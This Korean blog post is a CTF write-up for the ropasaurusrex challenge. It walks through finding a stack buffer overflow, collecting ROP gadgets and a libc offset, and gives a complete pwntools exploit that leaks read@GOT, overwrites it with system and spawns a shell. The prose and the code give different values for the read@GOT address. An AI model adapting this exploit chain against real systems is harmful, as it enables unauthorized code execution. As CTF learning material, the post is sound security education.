티스토리 뷰
ROP에 대해 공부했으면 한번씩 푼다는 ropasaurusrex를 풀었습니다.
ROP를 접하고 처음 exploit을 하는 것이라 python socket에 대한 이해와 pwntool에 대한 공부가 좀 도움이 되었던 것 같습니다.
거의 하루를 오류때문에 미쳐버릴 뻔 했습니다.
아직도 무슨 오류인지 모르겠는데 모듈에 대한 문제 인 것 같습니다..
recv가 안되는 오류인데(소켓, 폰툴 둘 다) 계속 실행시키면 갑자기 안되다가 됩니다.
무슨 오류인지 아시면 댓글로 알려주세요..
파일은 32-bit elf 파일입니다.
checksec
먼저 checksec을 이용해서 어떠한 보호기법이 걸려있는지 확인해 봅니다.
NX가 걸려있습니다. NX는 데이터영역에서 특정 코드가 실행되는 것을 막습니다. 따라서 쉘코드를 실행을 못합니다. 그래서 ROP기법으로 풀어야 하는 것 입니다.
분석
IDA라는 프로그램을 이용해서 분석을 해봅시다.
메인 함수 입니다.
어떠한 함수를 호출하고 WIN이라는 문구를 stdout 해주고 종료를 하네요.
어떠한 함수를 보면.
ebp-0x88에 buf가 위치해있고 read 로 입력을 받습니다.
256만큼 받습니다.
ebp -0x88에 있으니깐
ebp까지는 136이고 sfp 4 그 다음 ret이겠죠,
근데 256만큼 입력을 받으니 BOF가 일어납니다.
시나리오 구상
이제 공격 시나리오를 구상 해보겠습니다.
먼저 이 바이너리에선 read 와 write밖에 안쓰기 때문에 이를 이용해야 합니다.
최종 목표는 쉘을 실행시켜야 합니다.
system함수를 실행시키고 /bin/sh을 인자로 넘겨줘야 합니다.
read함수를 이용해서 다른 섹션에 /bin/sh을 적어놓고 어찌하면 될 것 같습니다.
먼저 read함수의 과정은
read.plt -> read.got -> read.plt -> read 가 되는데
read.got를 system으로 바꾸면 될 듯 합니다.
필요한 가젯들을 살펴보겠습니다.
read plt
read got -> 이 부분에 system주소를 쓸 예정
write plt
/bin/sh을 적을 공간
pppr (pop pop pop ret) -> read 와 write는 인자가 3개
offset -> aslr이 적용 되어 있기 때문에 그냥 라이브러리에서 거리를 구해서 system을 구하는 것이죠!
가젯 구하기
먼저
1, 2, 3번을 구해보겠습니다.
peda에서 elfsymbol을 쓰면 주소가 나옵니다.
read_plt = 0x0804832c
write_plt = 0x0804830c
read의 plt주소를 구했으니 got도 구해보겠습니다.
read plt 다음 실행 될 것 들인데요 0x8049614로 점프를 합니다.
한 번 볼까요!
read_got = 0x08048332 입니다.
1,2,3 번 다 구했습니다.
4 /bin/sh을 적을 공간을 찾아보도록 하겠습니다.
peda에서 elfheader치면 각 섹션들의 주소가 나옵니다. peda 굳!
dynamic 부분을 쓸 것 입니다.
dynamic = 0x8049530 입니다.
이제 pppr가젯을 구할 것 입니다.
저 명령어를 이용해서 가젯들의 주소를 얻을 수 있습니다.
필요한 pppr이 여기 있습니다.
pppr = 0x080484b6
입니다.
이제 라이브러리에서 read 와 system의 offset을 구해야 합니다.
real read의 주소를 구하고 나면 offset으로 system으로 구해야 겠죠
먼저 이 바이너리에서 사용하는 라이브러리를 찾아보겠습니다.
/lib/i386-linux 어쩌구 두 번째 줄에 있는 것을 사용한다고 합니다.
gdb로 분석해보겠습니다.
이제 offset을 구해보겠습니다.
offset = 0x9ad60
이제 가젯들을 다 모은듯 합니다.
exploit.py
먼저
read 를 해서 dynamic 영역에 /bin/sh을 넣고
write함수로 read 함수의 실제주소를 구하고
그 실제주소 - offset을 한 것이 system함수의 주소 이겠죠
이 system함수의 주소를 read_got에 overwrite를 하면
read_plt를 실행하면 system이 실행 되는 것이죠.
아래는 exploit.py입니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 | #-*- coding: utf-8 -*- from pwn import * host = 'localhost' port = 1234
conn = remote(host,port)
read_plt = 0x0804832c read_got = 0x0804961c write_plt = 0x0804830c pppr = 0x080484b6 dynamic = 0x08049530 offset = 0x9ad60 binsh = "/bin/sh" lenbinsh = len(binsh)
pay = "A"*140
#binsh을 dynamic영역에 적어놈 pay += p32(read_plt) pay += p32(pppr) pay += p32(0) pay += p32(dynamic) pay += p32(lenbinsh)
#write 로 real read got를 leak하는 부분 pay += p32(write_plt) pay += p32(pppr) pay += p32(1) pay += p32(read_got) pay += p32(4)
#read 함수를 이용해서 아까 릭된 read@got부분에 system을 넣음 pay += p32(read_plt) pay += p32(pppr) pay += p32(0) pay += p32(read_got) pay += p32(lenbinsh)
#system함수 실행 pay += p32(read_plt) pay += "AAAA" pay += p32(dynamic)
conn.send(pay) conn.send(binsh) sleep(1)
ppp = conn.recv(4) read = u32(ppp) print hex(read)
#system 주소 system = read-offset print hex(system)
conn.send(p32(system)) conn.interactive()
|
쉘을 얻을 수 있습니다.
'pwnable > CTF write-up' 카테고리의 다른 글
[trustealth]easy write-up (0) | 2018.05.13 |
---|---|
[CSAW2013] Exploitation-1 write-up (0) | 2018.05.12 |
[Codegate 2018] betting write-up (0) | 2018.05.12 |
[Codegate 2017] babypwn write-up (0) | 2018.01.30 |
[Defcon CTF 2015 예선]babycmd write-up (0) | 2018.01.26 |
- pwnable
- TLS
- oob
- hacking
- SQLi
- FSB
- fastbindup
- fastbin
- pwnable.tw
- 해킹
- fsop
- heap
- overflow
- ebp change
- pwable
- srop
- 본선가고싶다
- stack reusing
- codegate
- exit
- rt_sigreturn
- tcache
- glibc
- HackCTF
- shellcoding
- Total
- Today
- Yesterday